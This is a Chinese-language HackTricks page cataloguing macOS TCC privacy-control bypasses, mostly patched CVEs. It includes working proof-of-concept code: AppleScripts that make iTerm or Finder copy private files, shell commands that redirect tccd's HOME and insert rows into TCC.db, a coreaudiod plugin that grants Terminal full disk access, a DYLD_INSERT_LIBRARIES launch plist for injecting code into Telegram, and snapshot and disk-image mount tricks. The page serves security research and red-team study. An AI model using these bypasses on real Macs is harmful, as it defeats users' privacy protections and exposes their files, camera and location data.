macOS TCC Bypasses

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)

支持HackTricks的其他方式:

按功能分类

写入绕过

这不是绕过,这只是TCC的工作原理:它不会阻止写入。如果终端无法访问用户的桌面以读取内容,它仍然可以写入其中

username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % echo asd > Desktop/lalala
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % cat Desktop/lalala
asd

扩展属性 com.apple.macl 被添加到新的 文件 中,以便让 创建者的应用 能够读取它。

TCC 点击劫持

可以将一个窗口覆盖在 TCC 提示框上,使用户在不知情的情况下接受它。您可以在 TCC-ClickJacking** 中找到 PoC**。

通过任意名称请求 TCC

攻击者可以在 Info.plist 中创建任何名称的应用程序(例如 Finder、Google Chrome...),并让其请求访问某些受 TCC 保护的位置。用户会认为是合法应用程序在请求此访问权限。 此外,可以从 Dock 中移除合法应用程序并将伪造的应用程序放置其中,因此当用户点击伪造的应用程序(可以使用相同的图标)时,它可能调用合法应用程序,请求 TCC 权限并执行恶意软件,使用户相信是合法应用程序请求了访问权限。

更多信息和 PoC 请参阅:

macOS Privilege Escalation

SSH 绕过

默认情况下,通过 SSH 访问 具有 "完全磁盘访问权限"。为了禁用此功能,您需要将其列出但禁用(从列表中删除它不会删除这些权限):

在这里,您可以找到一些恶意软件如何绕过此保护的示例:

请注意,现在为了能够启用 SSH,您需要完全磁盘访问权限

处理扩展名 - CVE-2022-26767

属性 com.apple.macl 被赋予文件以授予某个应用程序读取权限。当拖放文件到应用程序上或用户双击文件以使用默认应用程序打开文件时,将设置此属性。

因此,用户可以注册一个恶意应用程序来处理所有扩展名,并调用启动服务来打开任何文件(因此恶意文件将被授予读取权限)。

iCloud

授权 com.apple.private.icloud-account-access 可以与 com.apple.iCloudHelper XPC 服务通信,后者将提供 iCloud 令牌

iMovieGarageband 具有此授权以及其他授权。

有关从该授权中获取 icloud 令牌的漏洞的更多信息,请查看演讲:#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula

kTCCServiceAppleEvents / 自动化

具有 kTCCServiceAppleEvents 权限的应用程序将能够控制其他应用程序。这意味着它可能能够滥用授予其他应用程序的权限

有关 Apple 脚本的更多信息,请查看:

macOS Apple Scripts

例如,如果一个应用程序具有iTerm 的自动化权限,例如在此示例中**Terminal** 具有对 iTerm 的访问权限:

在 iTerm 上

没有 FDA 的 Terminal 可以调用具有 FDA 的 iTerm,并使用它执行操作:

iterm.script
tell application "iTerm"
activate
tell current window
create tab with default profile
end tell
tell current session of current window
write text "cp ~/Desktop/private.txt /tmp"
end tell
end tell
osascript iterm.script

通过Finder

或者,如果一个应用程序可以通过Finder访问,它可以执行类似这样的脚本:

set a_user to do shell script "logname"
tell application "Finder"
set desc to path to home folder
set copyFile to duplicate (item "private.txt" of folder "Desktop" of folder a_user of item "Users" of disk of home) to folder desc with replacing
set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alias)) as text
end tell
do shell script "rm " & POSIX path of (copyFile as alias)

通过应用程序行为

CVE-2020–9934 - TCC

用户空间的 tccd 守护程序 使用 HOME env 变量来访问 TCC 用户数据库:$HOME/Library/Application Support/com.apple.TCC/TCC.db

根据这篇 Stack Exchange 帖子,由于 TCC 守护程序是通过 launchd 在当前用户域中运行的,可以控制传递给它的所有环境变量。 因此,攻击者可以在 launchctl 中设置 $HOME 环境 变量指向一个受控 目录重新启动 TCC 守护程序,然后直接修改 TCC 数据库,以获取所有可用的 TCC 权限,而无需提示最终用户。 PoC:

# reset database just in case (no cheating!)
$> tccutil reset All
# mimic TCC's directory structure from ~/Library
$> mkdir -p "/tmp/tccbypass/Library/Application Support/com.apple.TCC"
# cd into the new directory
$> cd "/tmp/tccbypass/Library/Application Support/com.apple.TCC/"
# set launchd $HOME to this temporary directory
$> launchctl setenv HOME /tmp/tccbypass
# restart the TCC daemon
$> launchctl stop com.apple.tccd && launchctl start com.apple.tccd
# print out contents of TCC database and then give Terminal access to Documents
$> sqlite3 TCC.db .dump
$> sqlite3 TCC.db "INSERT INTO access
VALUES('kTCCServiceSystemPolicyDocumentsFolder',
'com.apple.Terminal', 0, 1, 1,
X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',
NULL,
NULL,
'UNUSED',
NULL,
NULL,
1333333333333337);"
# list Documents directory without prompting the end user
$> ls ~/Documents

CVE-2021-30761 - Notes

Notes可以访问TCC受保护的位置,但是当创建一个笔记时,它会创建在一个非受保护的位置。因此,您可以要求Notes将受保护的文件复制到一个笔记中(因此在非受保护的位置),然后访问该文件:

CVE-2021-30782 - Translocation

二进制文件/usr/libexec/lsd与库libsecurity_translocate具有授权com.apple.private.nullfs_allow,允许其创建nullfs挂载,并具有授权com.apple.private.tcc.allow与**kTCCServiceSystemPolicyAllFiles**以访问每个文件。

可以向“Library”添加隔离属性,调用**com.apple.security.translocation** XPC服务,然后将Library映射到**$TMPDIR/AppTranslocation/d/d/Library,其中Library中的所有文档都可以访问**。

CVE-2023-38571 - 音乐和电视

**Music有一个有趣的功能:当它运行时,它会将拖放到~/Music/Music/Media.localized/Automatically Add to Music.localized的文件导入到用户的“媒体库”中。此外,它调用类似于:rename(a, b);**其中ab为:

  • a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"

  • b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3

这个**rename(a, b);行为容易受到竞争条件的影响,因为可以在Automatically Add to Music.localized文件夹中放入一个伪造的TCC.db文件,然后当创建新文件夹(b)时,复制文件,删除它,并将其指向~/Library/Application Support/com.apple.TCC**/。

SQLITE_SQLLOG_DIR - CVE-2023-32422

如果**SQLITE_SQLLOG_DIR="path/folder"基本上意味着任何打开的数据库都会被复制到该路径**。在这个CVE中,这个控制被滥用,以便在将要由具有FDA TCC数据库的进程打开的SQLite数据库写入,然后滥用**SQLITE_SQLLOG_DIR文件名中的符号链接**,因此当该数据库被打开时,用户的TCC.db被覆盖为已打开的数据库。 更多信息在写作中在讲座中

SQLITE_AUTO_TRACE

如果设置了环境变量**SQLITE_AUTO_TRACE,库libsqlite3.dylib将开始记录**所有SQL查询。许多应用程序使用这个库,因此可以记录它们所有的SQLite查询。

几个苹果应用程序使用这个库来访问TCC受保护的信息。

# Set this env variable everywhere
launchctl setenv SQLITE_AUTO_TRACE 1

MTL_DUMP_PIPELINES_TO_JSON_FILE - CVE-2023-32407

这个环境变量被Metal框架使用,它是各种程序的依赖,尤其是Music,它具有FDA。

设置以下内容:MTL_DUMP_PIPELINES_TO_JSON_FILE="路径/名称"。如果路径是一个有效的目录,该漏洞将被触发,我们可以使用fs_usage查看程序中发生了什么:

  • 一个文件将被open(),名为路径/.dat.nosyncXXXX.XXXXXX(X是随机的)

  • 一个或多个write()将内容写入文件(我们无法控制此过程)

  • 路径/.dat.nosyncXXXX.XXXXXX将被rename()路径/名称

这是一个临时文件写入,接着是一个不安全的rename(old, new)

这是不安全的,因为它必须分别解析旧路径和新路径,这可能需要一些时间,并且容易受到竞争条件的影响。欲了解更多信息,您可以查看xnu函数renameat_internal()

因此,基本上,如果一个特权进程正在从您控制的文件夹重命名,您可能会获得RCE并使其访问不同的文件,或者像在此CVE中那样,打开特权应用程序创建的文件并存储FD。

如果重命名访问您控制的文件夹,同时您已修改了源文件或拥有FD,您可以更改目标文件(或文件夹)以指向符号链接,这样您可以随时写入。

这是CVE中的攻击示例:例如,要覆盖用户的TCC.db,我们可以:

  • 创建/Users/hacker/ourlink指向/Users/hacker/Library/Application Support/com.apple.TCC/

  • 创建目录/Users/hacker/tmp/

  • 设置MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db

  • 通过使用此环境变量运行Music来触发漏洞

  • 捕获/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX(X是随机的)的open()

  • 在这里,我们还为写入打开此文件,并保留文件描述符

  • 在一个循环中原子地切换/Users/hacker/tmp/Users/hacker/ourlink

  • 我们这样做是为了最大化成功的机会,因为竞争窗口非常狭窄,但是输掉比赛的风险微乎其微

  • 等待一会儿

  • 测试我们是否幸运

  • 如果没有,从头再来

更多信息请参阅https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html

现在,如果尝试使用环境变量MTL_DUMP_PIPELINES_TO_JSON_FILE,应用程序将无法启动

Apple Remote Desktop

作为root,您可以启用此服务,ARD代理将具有完全磁盘访问权限,用户可以滥用这一点,使其复制新的TCC用户数据库

通过NFSHomeDirectory

TCC在用户的HOME文件夹中使用数据库来控制用户特定资源的访问,位于**$HOME/Library/Application Support/com.apple.TCC/TCC.db**。 因此,如果用户设法使用指向不同文件夹的$HOME环境变量重新启动TCC,用户可以在**/Library/Application Support/com.apple.TCC/TCC.db**中创建一个新的TCC数据库,并欺骗TCC授予任何应用程序任何TCC权限。

请注意,Apple使用存储在用户配置文件中的设置来作为**NFSHomeDirectory属性的值,因此,如果您入侵了具有修改此值权限的应用程序(kTCCServiceSystemPolicySysAdminFiles),您可以使用TCC绕过武器化**此选项。

CVE-2021-30970 - Powerdir

第一个POC使用dsexportdsimport来修改用户的HOME文件夹。

  1. 为目标应用程序获取_csreq_ blob。

  2. 放置一个带有所需访问权限和_csreq_ blob的虚假_TCC.db_文件。

  3. 使用dsexport导出用户的目录服务条目。

  4. 修改目录服务条目以更改用户的主目录。

  5. 使用dsimport导入修改后的目录服务条目。

  6. 停止用户的_tccd_并重新启动该进程。

第二个POC使用了**/usr/libexec/configd,其中具有值为kTCCServiceSystemPolicySysAdminFilescom.apple.private.tcc.allow权限。 通过使用-t选项运行configd,攻击者可以指定要加载的自定义Bundle**。因此,该漏洞替换了使用**configd代码注入更改用户主目录的dsexportdsimport**方法。

有关更多信息,请查看原始报告

通过进程注入

有不同的技术可以注入代码到进程中并滥用其TCC权限:

macOS Process Abuse

此外,发现的绕过TCC最常见的进程注入是通过插件(加载库)。 插件通常以库或plist的形式存在,将由主应用程序加载并在其上下文中执行。因此,如果主应用程序具有对TCC受限文件的访问权限(通过授予的权限或权限),自定义代码也将具有该权限

CVE-2020-27937 - Directory Utility

应用程序/System/Library/CoreServices/Applications/Directory Utility.app具有权限**kTCCServiceSystemPolicySysAdminFiles,加载带有.daplug扩展名的插件,并且没有启用强化**运行时。

为了武器化此CVE,NFSHomeDirectory被更改(滥用先前的权限),以便能够接管用户的TCC数据库以绕过TCC。

有关更多信息,请查看原始报告

CVE-2020-29621 - Coreaudiod

二进制文件 /usr/sbin/coreaudiod 具有权限 com.apple.security.cs.disable-library-validationcom.apple.private.tcc.manager。第一个权限允许进行代码注入,第二个权限允许其访问管理 TCC

该二进制文件允许从文件夹 /Library/Audio/Plug-Ins/HAL 加载第三方插件。因此,可以使用以下 PoC 加载插件并滥用 TCC 权限

#import <Foundation/Foundation.h>
#import <Security/Security.h>

extern void TCCAccessSetForBundleIdAndCodeRequirement(CFStringRef TCCAccessCheckType, CFStringRef bundleID, CFDataRef requirement, CFBooleanRef giveAccess);

void add_tcc_entry() {
CFStringRef TCCAccessCheckType = CFSTR("kTCCServiceSystemPolicyAllFiles");

CFStringRef bundleID = CFSTR("com.apple.Terminal");
CFStringRef pureReq = CFSTR("identifier \"com.apple.Terminal\" and anchor apple");
SecRequirementRef requirement = NULL;
SecRequirementCreateWithString(pureReq, kSecCSDefaultFlags, &requirement);
CFDataRef requirementData = NULL;
SecRequirementCopyData(requirement, kSecCSDefaultFlags, &requirementData);

TCCAccessSetForBundleIdAndCodeRequirement(TCCAccessCheckType, bundleID, requirementData, kCFBooleanTrue);
}

__attribute__((constructor)) static void constructor(int argc, const char **argv) {

add_tcc_entry();

NSLog(@"[+] Exploitation finished...");
exit(0);

有关更多信息,请查阅原始报告

设备抽象层(DAL)插件

通过核心媒体I/O(具有**kTCCServiceCamera的应用程序)打开摄像头流的系统应用程序会在/Library/CoreMediaIO/Plug-Ins/DAL中加载这些插件**(不受SIP限制)。

只需在那里存储一个具有常见构造函数的库即可用于注入代码

几个苹果应用程序存在此漏洞。

Firefox

Firefox应用程序具有com.apple.security.cs.disable-library-validationcom.apple.security.cs.allow-dyld-environment-variables权限:

codesign -d --entitlements :- /Applications/Firefox.app
Executable=/Applications/Firefox.app/Contents/MacOS/firefox

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.cs.allow-unsigned-executable-memory</key>
<true/>
<key>com.apple.security.cs.disable-library-validation</key>
<true/>
<key>com.apple.security.cs.allow-dyld-environment-variables</key><true/>
<true/>
<key>com.apple.security.device.audio-input</key>
<true/>
<key>com.apple.security.device.camera</key>
<true/>
<key>com.apple.security.personal-information.location</key>
<true/>
<key>com.apple.security.smartcard</key>
<true/>
</dict>
</plist>

CVE-2020-10006

二进制文件 /system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl 具有权限 com.apple.private.tcc.allowcom.apple.security.get-task-allow,这允许注入代码到进程中并使用 TCC 权限。

CVE-2023-26818 - 电报

电报具有权限 com.apple.security.cs.allow-dyld-environment-variablescom.apple.security.cs.disable-library-validation,因此可以滥用它来获取其权限,例如使用摄像头录制。您可以在写作中找到有效载荷

请注意如何使用环境变量加载库,创建了一个自定义 plist 来注入此库,并使用 launchctl 来启动它:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.telegram.launcher</string>
<key>RunAtLoad</key>
<true/>
<key>EnvironmentVariables</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/tmp/telegram.dylib</string>
</dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Telegram.app/Contents/MacOS/Telegram</string>
</array>
<key>StandardOutPath</key>
<string>/tmp/telegram.log</string>
<key>StandardErrorPath</key>
<string>/tmp/telegram.log</string>
</dict>
</plist>
launchctl load com.telegram.launcher.plist

通过打开调用

即使在受沙盒限制的情况下,也可以调用**open**

终端脚本

在技术人员使用的计算机上,通常会为终端授予完全磁盘访问权限(FDA),并且可以使用它来调用**.terminal**脚本。

.terminal 脚本是类似于以下具有要在**CommandString**键中执行的命令的属性列表文件:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>CommandString</key>
<string>cp ~/Desktop/private.txt /tmp/;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>

一个应用程序可以在诸如 /tmp 这样的位置编写一个终端脚本,并使用如下命令启动它:

// Write plist in /tmp/tcc.terminal
[...]
NSTask *task = [[NSTask alloc] init];
NSString * exploit_location = @"/tmp/tcc.terminal";
task.launchPath = @"/usr/bin/open";
task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app",
exploit_location]; task.standardOutput = pipe;
[task launch];

通过挂载

CVE-2020-9771 - mount_apfs TCC绕过和提权

任何用户(甚至是非特权用户)都可以创建和挂载一个时间机器快照,并访问该快照的所有文件。 唯一需要的特权是用于应用程序(如Terminal)具有完全磁盘访问(FDA)权限(kTCCServiceSystemPolicyAllfiles),需要由管理员授予。

# Create snapshot
tmutil localsnapshot

# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local

# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap

# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap

# Access it
ls /tmp/snap/Users/admin_user # This will work

更详细的解释可以在原始报告中找到

CVE-2021-1784 & CVE-2021-30808 - 在TCC文件上挂载

即使TCC DB文件受到保护,也可以在目录上挂载一个新的TCC.db文件:

# CVE-2021-1784
## Mount over Library/Application\ Support/com.apple.TCC
hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TCC test.dmg

# CVE-2021-1784
## Mount over ~/Library
hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg
# This was the python function to create the dmg
def create_dmg():
os.system("hdiutil create /tmp/tmp.dmg -size 2m -ov -volname \"tccbypass\" -fs APFS 1>/dev/null")
os.system("mkdir /tmp/mnt")
os.system("hdiutil attach -owners off -mountpoint /tmp/mnt /tmp/tmp.dmg 1>/dev/null")
os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
os.system("hdiutil detach /tmp/mnt 1>/dev/null")

查看原始报告中的完整利用

asr

工具**/usr/sbin/asr**允许复制整个磁盘并在另一个位置挂载,绕过了TCC保护。

位置服务

在**/var/db/locationd/clients.plist中有第三个TCC数据库,用于指示允许访问位置服务的客户端。 文件夹/var/db/locationd/没有受到DMG挂载的保护**,因此可以挂载我们自己的plist。

通过启动应用程序

macOS Auto Start

通过grep

在许多情况下,文件会在非受保护的位置存储敏感信息,如电子邮件、电话号码、消息...(这被视为苹果的一个漏洞)。

合成点击

这种方法不再有效,但在过去曾经有效

另一种方法是使用CoreGraphics事件

参考

最后更新于